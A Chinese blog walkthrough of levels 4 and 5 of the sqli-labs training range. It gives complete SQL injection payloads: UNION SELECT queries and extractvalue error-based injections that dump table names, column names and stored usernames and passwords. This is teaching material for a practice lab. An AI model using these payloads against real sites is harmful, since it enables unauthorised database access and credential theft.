【sqli靶场】第四关和第五关通关思路

简介: 【sqli靶场】第四关和第五关通关思路


前言

sqli靶场第一关:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502

sqli靶场第二关和第三关:

https://filotimo.blog.csdn.net/article/details/134938683?spm=1001.2014.3001.5502


一、sqli靶场第四关

1.1 判断注入类型

输入?id=1',正常回显('是英文单引号)。

输入?id=1'',正常回显(''是两个英文单引号)。

输入?id=1",出现如图所示报错("是英文双引号):

输入?id=1"",正常回显(""是两个英文双引号)。

输入?id=1/1,正常回显。

输入?id=1/0,正常回显。

初步判断为双引号闭合。

1.2 观察报错  

报错信息为'"1"") LIMIT 0,1'

进一步判断为")闭合

输入?id=1") --+,正常回显。

1.3 判断数据表中的列数

输入?id=1") order by 3 --+,正常回显。

输入?id=1") order by 4 --+,显示超出。

用二分法与order by确定列数为3

1.4 使用union联合查询

输入?id=0") union select 1,2,3--+,判断回显位,页面如下:

输入?id=0") union select 1,2,database()--+爆出数据库名:

可以看到数据库名为security。

1.5 使用group_concat()函数

构造如下语句输入:

?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出表名:

可以看到表名为emails,referers,uagents,users。

点到为止,我就不继续打这关了,这里跟第三关思路一样,可以看我前面写的博客。

二、sqli靶场第五关

2.1 判断注入类型

输入?id=1',出现如图所示报错('是英文单引号):

输入?id=1'',正常回显(''是两个英文单引号):

输入?id=1/1,正常回显。

输入?id=1/0,正常回显。

判断为单引号闭合。

在正常回显(You are in...........)中,没有看到显示位,考虑报错注入。

2.2 使用extractvalue函数报错

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+

extractvalue 函数用于从 XML 文档中提取指定路径的数据。我们通过将 extractvalue 函数的参数设置为 concat 函数的返回值,这样 extractvalue 函数就会报错,它的报错内容就是我们想要获得的东西。

concat 函数用于将多个字符串拼接成一个字符串,该函数的参数包括多个被拼接的字符串与拼接符号。在这里,我们将拼接符号设置为 0x7e,该字符是波浪号的 ASCII 编码值,用于分隔拼接的字符串。我们在拼接的字符串中指定了三个部分:0x7e、database() 和 0x7e,其中 database() 用于返回当前数据库的名称。

结果如图:

我们能看到数据库名为security。

2.3 爆出数据库中的表名

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+

这条语句跟上一条相似,只是把database()替换成了(select group_concat(table_name) from information_schema.tables where table_schema=database())

结果如图:

我们能看到表名为emails,referers,uagents,users。

2.4 爆出users表中的列名

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e)) --+

结果如图:

我们能看到users表中的列名为id,username,password。

2.5 爆出users表中的数据

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select concat(username,":",password) from users limit 0,1),0x7e)) --+

这里我们使用 concat函数将 username 字段与 :字符和password字段连接起来。而limit 0,1部分用于指定返回结果的起始位置和数量,它表示从第 0 行开始,只返回一行数据,这通常用于限制查询结果的数量。(如果出现 “Subquery returns more than 1 row” 错误,这通常是由于使用子查询时返回行数超过了预期,需要修正查询或使用合适的限制来确保只返回一个结果行。)

结果如图:

可以看到账号是Dumb,密码也是Dumb

我们可以将limit 0,1改为limit 1,1

结果如图:

可以看到账号是Angelina,密码是I-kill-you

目录
相关文章
|
27天前
|
安全 容器 数据安全/隐私保护
CTF本地靶场搭建——静态flag题型的创建
【6月更文挑战第1天】本文介绍了如何在CTF比赛中创建静态flag题型。静态flag是预先设定且不变的,常用于攻防模式或Misc、Crypto等题目中作为验证答案的一部分。创建步骤包括:选择比赛,新建题目,设置题目类型和内容,上传附件,添加静态flag,启用题目。选手则需下载附件,解密或解决问题后提交静态flag进行验证。
|
1月前
|
存储 安全 Linux
CTFHuB靶场命令执行题型过关总结
本篇博文是对自己学习rce漏洞后,因为没有进行实战练习,仅仅停留在概念上,因此做了一次靶场实战练习,来帮助自己熟悉rce漏洞的利用类型以及利用方法,写下这篇文章对此做个总结..其实关于这个练习已经过去了很久了,但我还是要那出来进行一次复习吧,对与命令执行相关的一些操作,对自己在漏洞挖掘方面能有更多的帮助,通过这次练习也对自己关于代码审计或是关于linux命令的常见命令的同意替换有了更多的了解.
|
1月前
|
安全 关系型数据库 MySQL
【sqli靶场】第六关和第七关通关思路
【sqli靶场】第六关和第七关通关思路
75 0
|
1月前
|
SQL 关系型数据库 MySQL
【sqli靶场】第二关和第三关通关思路
【sqli靶场】第二关和第三关通关思路
62 0
|
8月前
|
存储 JavaScript 数据安全/隐私保护
babycrypt 自己出的第一道逆向题目 WP
babycrypt 自己出的第一道逆向题目 WP
27 1
pikachu靶场通关秘籍之跨站请求伪造攻击
pikachu靶场通关秘籍之跨站请求伪造攻击
99 0
pikachu靶场通关秘籍之跨站请求伪造攻击
pikachu靶场通关秘籍之目录遍历攻击
pikachu靶场通关秘籍之目录遍历攻击
154 0
|
Windows
pikachu靶场通关秘籍之命令执行攻击
pikachu靶场通关秘籍之命令执行攻击
103 0
|
JavaScript
pikachu靶场通关秘籍之跨站脚本攻击
pikachu靶场通关秘籍之跨站脚本攻击
111 0
pikachu靶场通关秘籍之越权攻击
pikachu靶场通关秘籍之越权攻击
209 0